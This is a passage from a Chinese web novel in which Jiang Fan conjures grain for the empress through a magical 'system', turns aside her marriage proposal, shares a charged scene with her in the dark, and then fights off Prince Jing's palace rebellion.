此事,除朕与你,以及必要的心腹将领外,绝不可让第六人知晓具体详情!尤其…是粮食数量和来源!”
“臣明白!”江凡抱拳。
皇城司甲士,是直属皇帝的最核心卫队之一,忠诚度毋庸置疑。
“你快去准备!朕等你的好消息!”
萧璇月催促道,眼中充满了期待。
江凡不再耽搁,领了手令和调兵虎符,匆匆出宫。
一个时辰后,他已带着一千名精锐彪悍、沉默寡言的皇城司甲士,押送着数十辆覆盖着厚重油布的空马车,浩浩荡荡地开出了京城北门。
队伍一路向北,行了约两个时辰,来到一处人迹罕至、两侧山壁陡峭的狭窄山谷。
江凡下令队伍停止
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前进,在山谷口布防,严禁任何人出入。
然后,他独自一人,骑马进入了山谷深处。
确认四周绝对无人后,江凡立刻开始操作。
“系统,兑换【军用压缩饼干(箱)】x5000箱!”
“兑换【混合粗粮包(100斤装)】x2000包!”
“兑换【普通精米(100斤装)】x1000袋!”
“...”
【叮!兑换成功!消耗人气值5000000点!相关物资已存入系统空间。请宿主指定投放位置。】
“投放至前方百米空地上。”
江凡指定了位置。
下一瞬,山谷深处那片相对平坦的空地上,凭空出现了一座座由木箱、麻袋堆砌而成的‘小山’!
几千箱码放整齐的军用压缩饼干,粗粮,雪白精米,几乎将那片空地堆满!
浓烈的粮食气息,弥漫在空气中。
饶是江凡早有心理准备,看着这凭空变出的、堆积如山的粮食物资,也感到一阵震撼。
这就是系统的力量!
这就是人气值的威力!
他平复了一下心情,转身出谷,对守在外围的皇城司都统道:
“王都统,师门物资已到,就在谷内。你带人进去,清点装车,动作要快,注意隐蔽。记住,此地所见一切,出谷即忘,若有半字泄露,军法从事!”
“末将遵命!”
王都统抱拳,眼中闪过一丝惊讶,但更多的是军人的铁血与服从。
他点齐五百名最得力的手下,跟着江凡再次进入山谷。
当这五百名精锐甲士看到谷内堆积如山的粮食物资时,饶是训练有素,也忍不住发出了压抑的惊呼,眼中充满了震撼!
这么多粮食!
从哪儿来的?
江大人进去才多久?
难道真有鬼神相助,或是那位传说中的‘逍遥前辈’用了搬山填海的神通?
但他们很快压下心中的惊涛骇浪,在将领的严厉目光和江凡的示意下,迅速行动起来。
沉默,高效,开始将一箱箱、一袋袋粮食搬运出谷,装上外面等候的马车。
每个人心中都充满了激动和一种神圣的使命感——
这些粮食,是救命的粮!
是前线同胞的命!
是陛下和江大人想尽办法弄来的!
第215章 今夜你留下
足足忙碌了近两个时辰,天色将晚,才将所有粮食装车完毕。
数十辆马车被压得沉甸甸的,覆盖的油布下是救国的希望。
队伍调头,悄无声息地返回京城。
回到皇宫时,已是夜幕低垂。
萧璇月竟一直未曾歇息,就在御书房外的廊下等候,身上只披了件单薄的披风。
云暮在一旁陪着,脸上也带着焦急。
看到江凡带着车队安然返回,萧璇月眼中爆发出璀璨的光芒,快步迎了上来:
“江凡,如何?”
江凡翻身下马,躬身行礼:
“陛下,幸不辱命。师门…支援了压缩军粮五千箱,混合粗粮二十万斤,精米十万斤,共计…约六十多万斤粮食物资,已全部运回。”
“六…六十多万斤?”
萧璇月倒吸一口凉气,凤眸圆睁,难以置信地看着那一辆辆沉甸甸的马车,又看向江凡,声音都带着颤抖,
“当…当真?”
“千真万确。请陛下派人验收,并立即安排,秘密发往北境、南疆!”
江凡肯定道。
这里面很多是压缩饼干,可是很容易饱腹的,因此能堪比百万斤粮食。
萧璇月猛地捂住嘴,眼中瞬间蒙上了一层水雾。
六十多万斤!
虽然不是天文数字,但对于此刻捉襟见肘、近乎绝望的朝廷而言,这无疑是雪中送炭,是救命的甘霖!
足以让两处边关支撑至少大半个月,甚至更久!
有了这些粮食,军心可稳,防线可固!
巨大的惊喜和感动冲击着她的心房。
她看着眼前这个风尘仆仆、脸上带着疲惫的少年,心中那股压抑了许久的情感的洪流,几乎要冲破堤坝,将她淹没。
她知道,没有什么‘师门’,这一切,都是江凡!
是他用他那神秘莫测的‘能力’或‘奇遇’,在几乎不可能的情况下,变出了这救命的六十万斤粮食!
他再一次,在她最绝望、最无助的时候,如同神兵天降,力挽狂澜!
她想扑进他怀里,紧紧地抱住他,告诉他自己的感激,告诉他…自己心中那快要藏不住的情感。
可她终究是女帝,最终,只是用力地点了点头,声音哽咽:
“好!好!江凡,代朕…多谢尊师!此恩此德,朕…朕与朝廷,永世不忘!”
她转向王都统,语气恢复了帝王的果决与威仪:
“王将军,你亲自带人,会同户部、兵部心腹官员,连夜清点入库,分出批次,以八百里加急的速度,秘密发往北境镇国公处和南疆安国公处!记住,绝密!若有差池,提头来见!”
“末将领旨!”
王都统肃然抱拳,立刻带人押送马车前往皇家秘密仓廪。
看着马车远去,萧璇月依旧心潮澎湃。
她转过身,看向江凡,目光柔和得几乎要滴出水来:
“江凡,你…累了吧?先回去歇息。此番…辛苦你了。”
“为陛下分忧,是臣分内之事。”
江凡拱手。
他虽然也累,但看到女帝眼中的光彩,心中也涌起一股满足感。
能帮到她,真好。
“对了,”萧璇月似乎想起了什么,犹豫了一下,还是轻声问道:
“朕…可否见一见尊师?当面致谢?他屡次相助,朕却始终缘悭一面,心中实在不安。”
她想见‘逍遥公子’,不仅仅是为了感谢,更是想…看看那个让她魂牵梦萦的身影。
江凡心头一跳,连忙摆手:
“陛下,师尊他老人家性情孤僻,不喜见客,尤其不喜与宫中之人来往。此次筹措粮食,已属破例。
他交代完便已离去,此刻恐怕已在千里之外。陛下厚意,臣定当转达,但见面…恐怕不妥。”
尽管回来到现在,人气值又累计突破到五百万,但见一面一百万人气,还是让他心疼。
除了留着两百万以备不时之需,还要攒着提升修为呢!
萧璇月眼中闪过一丝失望,但很快释然。
她猜测,江凡动用那种能力,或许真的需要付出某种代价,或者有极大的限制,所以他才会如此推脱。
她不再强求,只是心中对江凡的心疼与感激,更添十分。
“既如此…那便罢了。尊师高义,朕铭记于心。”
她顿了顿,忽然展颜一笑,那笑容在
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夜色和宫灯下,明媚得惊人,带着一丝狡黠与期待。
“不过,你今日立下大功,解了朝廷燃眉之急,朕心甚慰。不若…今夜你便留下,陪朕小酌几杯,算是朕…聊表谢意,如何?”
留下?小酌?
还是在晚上?
江凡心里咯噔一下,下意识想拒绝。
可看着女帝那不容拒绝的眼神,再想到她今日承受的巨大压力和此刻难得露出的轻松笑容,拒绝的话怎么也说不出口。
“…臣,遵旨。”
他最终还是点头应下。
萧璇月眼中笑意更浓:
“好,那便说定了。你先去歇息片刻,朕让人准备。晚些时候,朕让云暮去叫你。”
江凡行礼退下,回到自己宫中偏殿,洗了把脸,换了身干净的常服,心里却有些打鼓。
女帝今天看起来…有点不太一样。
具体哪里不一样,他说不上来,但总觉得,那双凤眸看自己的时候,里面的情绪太过复杂,也太过…炽热?
他甩甩头,不再多想。
或许只是太高兴了吧。
毕竟解决了粮食这个大难题。
约莫过了一个时辰,云暮果然来了,请他前往凤仪宫——女帝的寝宫。
江凡心头又是一跳。
去寝宫?
不是御书房?
这…于礼不合吧?
但云暮说是陛下特意吩咐的,在寝宫侧殿暖阁设宴,更显亲近随意。
江凡无奈,只得硬着头皮跟着去。
踏入凤仪宫侧殿暖阁,一股馨香扑面而来。
暖阁不大,布置得却极为雅致温馨,不似正殿那般威严肃穆。
一张小巧的紫檀木圆桌上,已摆好了几样精致小菜,一壶酒,两只玉杯。
烛火摇曳,将室内映照得一片暖融。
“陛下,江侍卫到了。”
云暮通报一声,便悄然退下,并带上了门。
江凡站在门口,有些局促。
这时,内室的珠帘被轻轻挑起,一道窈窕的身影,缓步走了出来。
江凡下意识地抬头望去。
只一眼,他整个人瞬间僵在原地,大脑一片空白,眼睛瞪得滚圆,呼吸都停滞了!
第216章 朕没有说笑
只见萧璇月换下了那身庄重的帝王常服,也没有穿宫装。
她身上穿的,赫然是一件月白色的旗袍!
旗袍完美地贴合了她玲珑有致的身段,将不堪一握的纤腰、挺翘的臀部曲线勾勒得淋漓尽致。
行走间,一双包裹在黑色丝袜中的修长玉腿,若隐若现,在烛光下闪烁着惊心动魄的光泽。
她的长发简单绾起,几缕青丝垂落颊边,更添几分慵懒风情。
脸上薄施脂粉,淡扫蛾眉,本就绝美的容颜,在旗袍丝袜的映衬下,多了十分女子的妩媚与诱惑的致命吸引力!
尤其让江凡血脉贲张的是,她旗袍下的胸前曲线,比平日显得更加饱满傲人,弧度惊心动魄——
显然,她也穿上了那种新式的内衣!
这身装扮,比起柳絮的妩媚妖娆,多了几分清贵典雅;
比起云暮的羞涩清丽,多了几分大胆与风情;
比起周婉如的温婉可人,更是多了一种居高临下、却令人无法抗拒的魅惑!
江凡只觉得一股热血直冲头顶,鼻腔发热,心脏狂跳得几乎要炸开!
他直勾勾地看着萧璇月,看着她一步步走近,看着她眼中那抹狡黠、得意,以及一丝羞涩,大脑彻底宕机。
连最基本的礼仪都忘了,就这么傻傻地站着,眼睛一眨不眨。
萧璇月走到他面前约三步远的地方停下,微微歪了歪头,脸上带着一丝红晕,眼波流转,轻声问道:
“江爱卿,朕这身装扮…可还入眼?”
她的声音带着一丝慵懒和撩拨,仿佛羽毛轻轻搔过心尖。
江凡猛地回过神,意识到自己的失态,慌忙低下头,脸上火烧火燎:
“陛、陛下天姿国色,穿什么都好看!臣失态,请陛下恕罪!”
他恨不得抽自己两巴掌。
又看呆了!
还是在女帝面前!
可这女人穿上旗袍,真的太有冲击力了。
“无妨。”
萧璇月似乎很满意他的反应,唇角勾起一抹弧度,走到桌边坐下,示意他也坐。
“今日并非朝堂,不必拘礼。坐吧。”
江凡如坐针毡地在她对面坐下,眼睛不敢乱看,生怕自己失态。
可脑海中那惊鸿一瞥的画面却挥之不去,尤其是那双在黑丝包裹下线条完美的长腿…
萧璇月亲自执壶,为两人斟满酒。
酒液在玉杯中荡漾,香气四溢。
“江凡,”她举起酒杯,目光盈盈地看着他,
“这一杯,朕敬你。谢你…和你师尊,屡次相助,解朕与大夏于危难。尤其是今日这几十万斤粮食,于国于民,恩同再造。”
她一饮而尽,姿态洒脱,凤眸却一直锁着江凡。
江凡连忙也举杯饮尽,酒液辛辣,却压不住心头的燥热。
“陛下言重了,臣…分内之事。”
放下酒杯,萧璇月夹了一筷子菜,似乎随意地问道:
“江凡,你说…朕今日这身,与云暮那日所穿,谁更好看些?”
江凡头皮发麻。
这问题怎么答都是送命题!
说女帝好看?
那不是承认自己仔细看过云暮了?
说云暮好看?
找死吗?
他硬着头皮,含糊道:
“陛下与云暮姑娘,各有千秋。不过…陛下天威所在,气度不凡,自然…更胜一筹。”
他挑了个最稳妥的说法。
萧璇月似笑非笑地看了他一眼,显然对这个答案并不完全满意,但也没追究。
她身体微微前倾,手肘支在桌上,托着香腮,目光灼灼地盯着江凡,语气带着一丝调侃,又仿佛藏着无限深意:
“那…朕这般模样,可能做得你师娘?”
噗——!
江凡差点被自己的口水呛死!
脸瞬间涨得通红,剧烈地咳嗽起来。
师娘?
又来了!
她怎么还对‘逍遥公子’念念不忘?
而且是在穿着这身…这身简直能要人命的旗袍丝袜的时候问出来!
这杀伤力太大了!
“陛…陛下!”
江凡好不容易顺过气,连连摆手,
“师尊他…他老人家早已看破红尘,一心向道,绝无…绝无找寻道侣之意!陛下…陛下风华绝代,何必执着于方外之人?还请陛下…趁早打消此念吧!”
他只求能赶紧把这话题揭过去。
“看破红尘?一心向道?”
萧璇月微微挑眉,眼中闪过一丝狡黠,忽然叹了口气,语气带着失望和一丝自嘲:
“是吗?看来,是朕痴心妄想了。你师尊…果然看不上朕。”<
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br>江凡见她神色黯然,心中没来由地一紧,正想再说点什么安慰,却听萧璇月话锋陡然一转,:
“既然你师尊执意不肯,那…江凡,你来娶朕,如何?”
轰——!!!
江凡只觉得脑袋里嗡鸣一片,整个人彻底傻掉了!
他瞪大眼睛,难以置信地看着萧璇月,怀疑自己是不是因为最近太累出现幻听了。
娶…娶她?
女帝?
“陛、陛下!您…您说什么?!”
他声音发颤,几乎要跳起来。
萧璇月却好整以暇地看着他震惊的模样,缓缓重复道:
“朕说,既然你师尊不愿,那便由你——江凡,来做朕的帝君,朕的…皇夫。如何?”
她的目光紧紧锁住江凡,不容他逃避。
江凡的脑子彻底乱成了一锅粥。
自己给自己当替身?
这算什么?
女帝这是得不到‘师尊’,就退而求其次,找他这个‘徒弟’来弥补?
她只是觉得自己是‘逍遥公子’的徒弟,娶了自己,就相当于间接得到了‘师尊’?
一丝被当作‘替代品’的憋闷,还有女帝此刻装扮和话语带来的巨大冲击,让他心乱如麻,口干舌燥。
“陛下说笑了!”
他几乎是喊出来的,脸色一阵红一阵白,
“臣…臣何德何能,岂敢匹配陛下天颜!臣…臣不过一介武夫,纨绔出身,不堪大任!陛下…陛下莫要拿臣寻开心了!”
“朕没有说笑。”
萧璇月脸色一正,目光锐利起来,
“江凡,你是在告诉朕,你看不上朕?觉得朕…配不上你?”
“臣不敢!臣绝无此意!”
江凡心中有种莫名的火气,连忙起身离席,躬身行礼,
“陛下乃九五之尊,天人之姿,臣对陛下只有敬仰忠心,绝无半分亵渎之念!只是…只是婚姻大事,非同儿戏。陛下万金之躯,岂可…岂可下嫁于臣这等凡夫俗子?况且…况且臣…”
他咬了咬牙,想到昨夜对周婉如的承诺,脱口而出:
“况且臣昨夜已应允了周尚书之女周婉如,待局势稳定便会娶她。臣…不能失信于人!”
说出这话,他心中莫名有些发虚,甚至有一丝…刺痛?
他不敢深究。
第217章 只有一个人
萧璇月闻言,脸上的表情瞬间冷了下来,凤眸微微眯起。
“周婉如?”她缓缓重复这个名字,语气听不出喜怒,“你答应她了?”
“…是。”江凡低头,硬着头皮道。
萧璇月沉默了片刻,忽然,她轻轻笑了一声,那笑声却带着一丝赌气般的意味。
“好啊,江凡,你倒是情深义重,一诺千金。”
她站起身,走到江凡面前,距离近得江凡能闻到她身上的香气,能感受到她呼吸的微热。
她仰起脸,看着他,一字一句,清晰无比地说道:
“那如果…朕允许你,娶了周婉如呢?”
江凡猛地抬头,眼中满是不可思议。
允许他娶周婉如?什么意思?
那她呢?
萧璇月紧紧盯着他的眼睛,语气带着决绝:
“朕许你纳她为妃,或者…平妻。但你,必须做朕的帝君。这个条件,你…答不答应?”
江凡:“……”
他彻底懵了,石化在原地,只觉得脑海中惊雷滚滚,三观俱碎。
女帝…这是吃错药了?
还是…真的疯魔了?
不惜…与人共侍一夫?
甚至允许他娶别人?
这都什么跟什么啊!!
房间内陷入一片死寂,只有两人略显急促的呼吸声清晰可闻。
良久,江凡才缓缓抬起眼,目光复杂地看向眼前这个身着旗袍丝袜、美得惊心动魄的女帝。
他深吸一口气,努力让自己的声音听起来平静,却带上了一丝自嘲:
“陛下…您将臣,当成了什么?”
他顿了顿,目光紧紧锁住萧璇月的眼睛,声音低沉:
“是对臣师尊‘爱而不得’后,退而求其次的…替代品?还是…想通过逼迫臣,来试探、甚至要挟臣师尊表态的…棋子?”
这话问得直接,将他心中那份不被尊重的憋闷与不甘,摊开在两人之间。
萧璇月迎上他的目光,凤眸之中,没有预料中的恼怒或辩解,反而掠过一丝痛楚与失望。
她看着江凡,事到如今,他还是不肯承认。
哪怕她几乎已经把话挑明,把姿态放到最低,他却依然在伪装,在逃避,在用最伤人的方式来揣度她的心意。
“江凡,”她轻轻开口,声音有些发涩,
“你便是…这样看待朕的?”
江凡被她眼中的痛色刺了一下,心头莫名一慌,但话已出口,他只能硬着头皮:
“臣…不敢妄自揣测圣意。只是,臣是江凡,是陛下的臣子,是金刀侍卫,是…逍遥公子的徒弟。
臣有自知之明,绝不敢,也绝不愿,成为任何人的影子,或是…达成某种目的的工具。臣,只想做江凡自己。”
他心中对女帝并非毫无感觉,可越是如此,他越无法接受,她可能是因为‘逍遥公子’才对他另眼相看,甚至提出如此荒谬的‘交易’。
萧璇月静静地听他说完,眼中的痛色渐渐化为疲惫与了然的光芒。
她忽然轻笑了一声,那笑声很轻。
“你不是任何人的替代品,江凡。”
她看着他,目光深邃,
“朕心里喜欢的,自始至终,都只有一个人。”
江凡心头猛地一跳!
自始至终,只有一个人?
是谁?
逍遥公子?
那自己算什么?
他张了张嘴,想追问,却又不知从何问起,更怕听到那个让他更加混乱的答案。
然而,萧璇月却没有给他追问的机会。
她似乎彻底失去了兴致,脸上恢复了平静。
“云暮。”她不再看江凡,转身朝暖阁外唤了一声。
“奴婢在。”
云暮应声而入,担忧地看了一眼自家陛下,又瞥了一眼脸色变幻不定的江凡。
“去,再取几坛‘醉仙酿’来。”
萧璇月淡淡道,语气不容置疑。
“陛下!”江凡和云暮同时出声。
江凡是着急,云暮是担忧。
“明日还要早朝,陛下,您…”
江凡上前一步,想劝。
“不用你管。”
萧璇月打断他,声音平静无波,却带着一股拒人于千里之外的冷意,
“既然你不愿,那便罢了。你且退下吧。今日…不必留在宫中当值了。”
她顿了顿,背对着江凡,声音低了下去,带着一丝赌气:
“回去转告你师尊,今日…朕没有见到他。朕便在这里,饮酒到天明。”
江凡心头大震!
她这是…要用自伤的
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方式来逼‘逍遥公子’现身?
还是真的心灰意冷,借酒消愁?
无论是哪一种,都让他心急如焚!
看着她单薄的背影,在旗袍的勾勒下显得越发脆弱,一股强烈的冲动涌上心头——
他想留下,想抱住她,想告诉她一切,想让她不要这样折磨自己…
可最后一丝理智,和对‘身份暴露’后果的恐惧,死死拉住了他。
他张了张嘴,最终只能艰涩地吐出几个字:
“臣…遵旨。陛下…保重龙体。”
说完,他不敢再看萧璇月的背影,几乎是逃也似地退出了房间。
……
凤仪宫内,重归寂静,只剩下萧璇月孤零零的身影,和桌上那壶未尽的酒。
云暮取了酒回来,看到陛下独自立于窗前,望着江凡离去的方向,背影寂寥,心中大恸。
她将酒坛轻轻放在桌上,走到萧璇月身后,低声道:
“陛下,江世子他…还是不肯坦白。您…您这又是何苦?要不…奴婢去将他叫回来,当面拆穿他算了!看他还能装到几时!”
萧璇月缓缓转过身,脸上已无泪痕,只是眼眶微微泛红。
她轻轻摇了摇头,声音带着疲惫与释然:
“算了,云暮。他既不愿,必有他的缘由。或许…是朕还不够好,不值得他信任,不值得他…以真面目相对。或许,他有难言之隐,有不得不隐藏的苦衷。朕…尊重他。”
她走到桌边,拍开一坛新酒的泥封,浓郁的酒香弥漫开来。
“眼下,北境南疆烽火连天,靖王在暗处虎视眈眈,大夏已到了最危急的关头。朕这个皇帝,能不能坐到明天,尚未可知。”
她提起酒坛,直接对着坛口,仰头灌下一大口。
“朕…不想留下遗憾。”
她放下酒坛,脸上泛起不正常的红晕,眼神带着一种破釜沉舟般的决绝,
“云暮,你退下吧。没有朕的吩咐,任何人不得打扰。”
“陛下!”
云暮急得跺脚,却见女帝眼神坚决,不容置喙,只得含泪福身,
“奴婢…遵旨。陛下,您…少喝些。”
她一步三回头地退出了暖阁,轻轻带上了门,却不敢远离,只在门外廊下焦急守候。
第218章 不要拒绝朕
暖阁内,只剩下萧璇月一人。
她不再顾忌仪态,索性坐在地毯上,背靠着桌腿,一坛接一坛地喝着。
酒液灼烧着肠胃,也烧灼着她的理智。
脑海中,与江凡相识以来的点点滴滴,如同走马灯般闪现——
崖底的相救,暗中的扶持,粮食的雪中送炭,还有那些新奇精巧的物件…
以及,那张隐藏在青铜面具后,时而窘迫、时而慌乱、时而坚定、时而又深情的眼睛。
“逍遥…江凡…”
她低声呢喃,声音带着醉意和情愫,
“你究竟…还要躲到什么时候…”
不知不觉,一坛烈酒已然见底。
萧璇月觉得头重脚轻,视线有些模糊。
就在她眼神迷离,抓起第二坛酒,准备继续灌下去时——
暖阁的窗户,无声无息地开了。
一道身影悄无声息地飘然而入,落在地毯上。
依旧是那身金色披风和青铜面具。
逍遥公子!
萧璇月喝酒的动作顿住了。
她微微眯起有些迷蒙的凤眸,看着那突然出现的身影,唇角勾起一抹笑容。
“你…终于还是来了。”
她的声音有些沙哑,带着撩人的慵懒。
江凡站在她面前,面具下的眉头紧锁。
他看着坐在地上的女帝,心中又是气恼,又是心疼,还有一丝莫名的燥热。
他强压着情绪,沉声开口:
“陛下为何如此不爱惜自己?借酒消愁,于事无补。更不该…以这种方式,逼迫老夫现身。”
萧璇月闻言,非但没有害怕,反而‘噗嗤’一声笑了出来,摇摇晃晃地想要站起来,却脚下发软,又跌坐回去。
她索性不再起身,就坐在地上,仰着脸,目光迷离地看着他,带着七分醉意三分狡黠:
“前辈…这是吃醋了?因为朕…逼你徒弟娶朕?”
江凡心头一哽,被她这颠倒黑白的说法气得差点维持不住人设。
他深吸一口气,冷声道:
“老夫并非吃醋。只是眼下局势危急,靖王未除,强敌环伺,正是陛下与朝廷上下同心、共渡难关之时,岂可沉溺于儿女私情,更不该以此等儿戏方式,胁迫属下,戏弄自身!”
“儿女私情?儿戏?”
萧璇月重复着这两个词,忽然挥手,一股柔和的劲风拂过,暖阁内所有的窗户‘砰’地一声齐齐关上,门栓也自动落下。
同时,她指尖轻弹,几道细微的真气射出,将屋内所有的烛火瞬间打灭!
暖阁内,顿时陷入一片伸手不见五指的漆黑!
江凡心中一惊,下意识地戒备。
然而,不等他适应黑暗,做出反应,一道带着酒香和女子馨香的温软身躯,已经扑进了他的怀中,两条手臂紧紧环住了他的腰身,将脸深深埋进他胸前。
“陛下!你…”
江凡身体瞬间僵硬,手足无措。
黑暗中,触感变得格外敏锐。
他能清晰地感觉到怀中娇躯的火热与柔软,感觉到她旗袍丝滑的布料下,那起伏惊人的曲线,感觉到她紧贴着自己胸膛的、剧烈的心跳…
“前辈…”
萧璇月的声音在黑暗中响起,带着醉意的沙哑,
“你帮了朕太多,帮了大夏太多。朕…朕不知道该如何报答。金银财帛,你看不上;权势地位,你不在意。朕…朕只有自己。”
她的手臂收得更紧,“朕知道,或许很儿戏,很…不知羞耻。但朕不在乎了。前辈,今晚…留下来,好吗?就一晚。”
江凡只觉得脑中‘轰’的一声!
留下来?
以‘逍遥公子’的身份?
在这漆黑的、只有他们两人的暖阁里?
她知不知道自己在说什么?
“陛下!你喝醉了!”
他声音干涩,试图推开她,却发现自己手臂僵硬,竟有些使不上力气。
不是因为修为,而是因为…心乱。
“老夫身份未明,样貌未知,甚至可能是个容貌被毁、行将就木的老朽!陛下岂可如此轻率!”
“朕没有醉…”
萧璇月在他怀中轻轻摇头,
“朕很清醒。朕说了,不在意前辈是谁,是什么模样,是什么身份。哪怕…你真的是皇城破庙里的乞丐,是山中砍柴的樵夫,是田里耕作的农户,甚至是…你徒儿口中那个容貌被毁、修
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为全失的糟老头子…”
她抬起头,黑暗中,江凡能感觉到她灼热的目光,正努力地、试图看清他面具下的眼睛。
“朕都不在意。朕在意的,是那个在崖底救朕的人,是那个一次次在暗中护着朕、帮着朕的人,是那个…
明明自己可能付出了巨大代价,却还是拿出那么多稀奇古怪的物品为朕筹集军费,拿出几十万斤粮食解朕燃眉之急的人!”
她的声音带着哽咽,却又无比坚定:
“前辈的大恩,朕无以为报。唯有此身,此心…”
“陛下!”
江凡打断她,心中震动无比,却又强迫自己冷静,
“老夫帮你,是因为你是个好皇帝,心怀百姓,勤政爱民,比那靖王更适合坐这江山!绝非贪图你的回报!更非…以此要挟,行此…苟且之事!”
“苟且之事?”
萧璇月低低地笑了,笑声中带着无尽的凄然与决绝,
“前辈,你可知,眼下皇城防卫空虚,靖王蛰伏已久,随时可能发动雷霆一击?朕…不知道明天和意外,哪一个会先来。”
她再次将脸埋进他胸口,声音带着一种令人心碎的脆弱与执着:
“朕怕…怕来不及。怕等到一切都解决了,前辈却像你说的那样,飘然远去,再也不见踪影。
怕朕到死…都还是孤身一人,都未曾…真正拥有过心爱之人片刻的温存。”
“所以,前辈,不要拒绝朕,好吗?”
她的声音近乎哀求,却又带着一种豁出一切的勇敢,
“就当是…成全朕最后一点私心,了却朕最后一点遗憾。只要今晚,你留下来。之后,无论你是离开,是继续在暗中守护。
还是…愿意摘下面具,堂堂正正地站到朕面前,朕都接受。朕…永远等着你。”
这番话,让江凡神魂俱震。
他听出了她话语中深藏的恐惧、绝望,以及那份不顾一切、近乎悲壮的深情。
他不再是那个高高在上、算无遗策的女帝,她只是一个害怕失去、渴望被爱的普通女子。
而这份深情,这份决绝和炽热,让他再也无法维持那冰冷的伪装和理智的拒绝。
第219章 等老夫消息
黑暗中,江凡感觉自己的呼吸越来越急促,身体的某个部位诚实地起了反应。
两世为人,他何曾经历过如此直白、炽热、不顾一切的追求与‘献身’?
尤其对方还是他早已心动却不自知、身份又如此特殊的女帝!
再加上接连被柳絮、云暮、周婉如以旗袍丝袜等各种方式‘视觉冲击’而压抑的欲念,此刻在这黑暗的密闭空间瞬间沸腾!
“陛下…你会后悔的。”
他听到自己的声音沙哑,带着最后一丝挣扎,
“等靖王伏诛,内忧外患平息,老夫…或许真的会离开。永远离开。”
“那就等离开的时候再说!”
萧璇月仿佛抓住了他话语中的松动,心中大喜,勇气更增。
她踮起脚尖,在黑暗中努力寻到他脖子的位置,轻轻印下一吻,声音带着颤抖和坚定:
“前辈,别想了,也别说了…现在,朕看不到你的真容,你也看不清朕的羞涩…”
她的双手,开始有些笨拙摸索着,去解他身上的衣带。
“今晚…留下来吧。”
“轰——!”
最后一丝理智的弦,骤然崩断!
温香软玉在怀,深情告白在耳,主动索求在手…
江凡只觉得一股难以抗拒的洪流瞬间冲垮了所有的心防、顾虑、伪装和恐惧!
去特么的暴露!
去特么的未来!
此刻,他只想紧紧抱住怀中这个让他心疼、心动又情动的女子,回应她那份不顾一切的深情,填补彼此心中的空洞与渴望!
他低吼一声,再也顾不得许多,心念一动,将面具收进系统空间,低头寻到她带着酒香的唇瓣,重重地吻了下去!
这是带着宣泄、带着渴望、带着压抑已久情感的、炽热而霸道的深吻!
“唔…”
萧璇月发出一声模糊的嘤咛,身体先是一僵,随即彻底软化下来,热情而生涩地回应着他。
双手也不再解他的衣带,而是紧紧攀附着他的脖颈,仿佛要将自己融入他的骨血之中。
黑暗,成为了最好的掩护,也放大了所有的感官。
江凡的手不受控制地抚上她旗袍下纤细的腰肢,感受着丝滑的布料下那惊人的柔韧与曲线,指尖所过之处,激起她阵阵战栗。
意乱情迷,干柴烈火。
就在江凡几乎要彻底沉沦,准备坦诚一切,然后遵循本能更进一步时——
“砰!砰!砰!”
房间的门,被急促而用力地拍响!
云暮焦急万分的声音穿透门板传来:
“陛下、陛下,不好了!出大事了!靖王…靖王反了!他带着几十个武功高强的死士,还有…还有至少三千全身重甲、装备精良的私兵,已经杀到宫门外了!宫门守卫快要顶不住了!”
旖旎火热的气氛瞬间被这突如其来的警报击得粉碎!
江凡和萧璇月的动作同时僵住!
两人迅速分开,黑暗中,只能听到彼此粗重而急促的呼吸声。
靖王!反了!
就在这个时候!
带着重兵杀到宫门外了!
果然,这老狐狸并没有给他们太多发育时间!
江凡心中瞬间被巨大的愤怒和杀意填满!
这个该死的靖王!
早不反晚不反,偏偏在这个时候!
坏他好事!
今晚不把他打出翔来,算他拉得干净!
不过靖王竟然能悄无声息地**三千重甲私兵,还带着几十个高手,直接杀到皇城根下!
这说明什么?
说明京城防卫果然出了大漏洞,说明靖王在朝中、在军中的势力,远超他们的预估!
也说明,那个被请来的‘海外高人’,很可能就在其中!
“陛下!”
江凡迅速冷静下来,声音恢复了‘逍遥公子’的沉稳,
“莫慌。有老夫在,定不教那逆贼得逞!你且在暖阁内不要出去,锁好门窗。老夫去去就回!”
他必须立刻出手!
以‘逍遥公子’的身份,雷霆手段,**叛乱,击杀靖王和那个可能的陆地神仙!
否则,一旦宫门被破,后果不堪设想!
“前辈!”萧璇月也瞬间从情欲中惊醒,慌乱地抓住他的手臂,声音带着颤抖,
“你…你小心!靖王身边,恐有极厉害的人物!”
“无妨。”江凡反手握了握她冰凉的手,给予一丝安慰,
“老夫省得。陛下保重,等老夫消息。”
说完,他不再犹豫,身形一晃,悄无声息地穿过紧闭的窗户缝隙,融入了外面杀声渐起的夜色之中。
暖阁内,重归黑暗与寂静。
萧璇月独
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自站在黑暗中,抚摸着方才被他握过的手,脸上红潮未退,眼中却已是一片决绝。
靖王…你终于,还是来了。
那么,今夜,就让我们,彻底做个了断吧。
江凡的身影几个起落,便已来到喊杀声震天、火光冲天的宫门附近。
只见宫门已然半开,厚重的门板上布满了刀劈斧凿的痕迹和燃烧的箭矢。
宫门外,黑压压一片,尽是身披厚重铁甲、手持**巨盾、杀气腾腾的士兵,正悍不畏死地冲击着宫门内勉强结阵、但已岌岌可危的禁军防线。
箭矢如蝗,刀光如雪,惨叫声、怒吼声、金铁交击声混杂在一起,空气中弥漫着浓烈的血腥味。
更让江凡眼神一凝的是,在那些重甲士兵后方,数十道气息强横的身影肃然而立,最低也是宗师修为,其中更有七八道气息晦涩深沉,赫然是大宗师级别的高手!
而被这些人如同众星拱月般簇拥在中央的,是一个穿着**袍、面容阴鸷、带着几分书卷气却难掩枭雄本质的中年男子——正是靖王萧恒!
此刻,萧恒正负手而立,冷冷地注视着宫门内的战斗,嘴角噙着一丝志在必得的冷笑。
他似乎并不急于亲自出手,而是在等待,或者说,在欣赏猎物最后的挣扎。
“蝼蚁一般。”
江凡冷哼一声,心中杀意沸腾。
他没有丝毫废话,也懒得去分辨哪些是靖王的核心党羽,哪些是被蒙蔽的普通士兵。
在他眼中,这些敢于冲击皇宫、威胁女帝安危的叛逆,皆是该杀之人!
他身形不动,只是凌空虚立在宫门上方。
他缓缓抬起右手,对着下方那最为密集的重甲兵阵,轻轻向下一按。
一股无形无质的恐怖压力,骤然降临!
“轰——!”
以他手掌虚按之处为中心,方圆数十丈内的空间仿佛瞬间凝固!
那些正在冲锋、嘶吼的重甲士兵,冲锋的势头骤然停止,厚重的铁甲发出令人牙酸的‘嘎吱’声,然后——
噗!噗!噗!
……
闷响声连成一片!
超过上百名重甲士兵,连惨叫都来不及发出,便瞬间爆开成一团团模糊的血肉碎块!
铁甲扭曲变形,与血肉骨骼混杂在一起,铺满了宫门前的青石地面!
第220章 是不是庸手
浓郁的血腥气冲天而起!
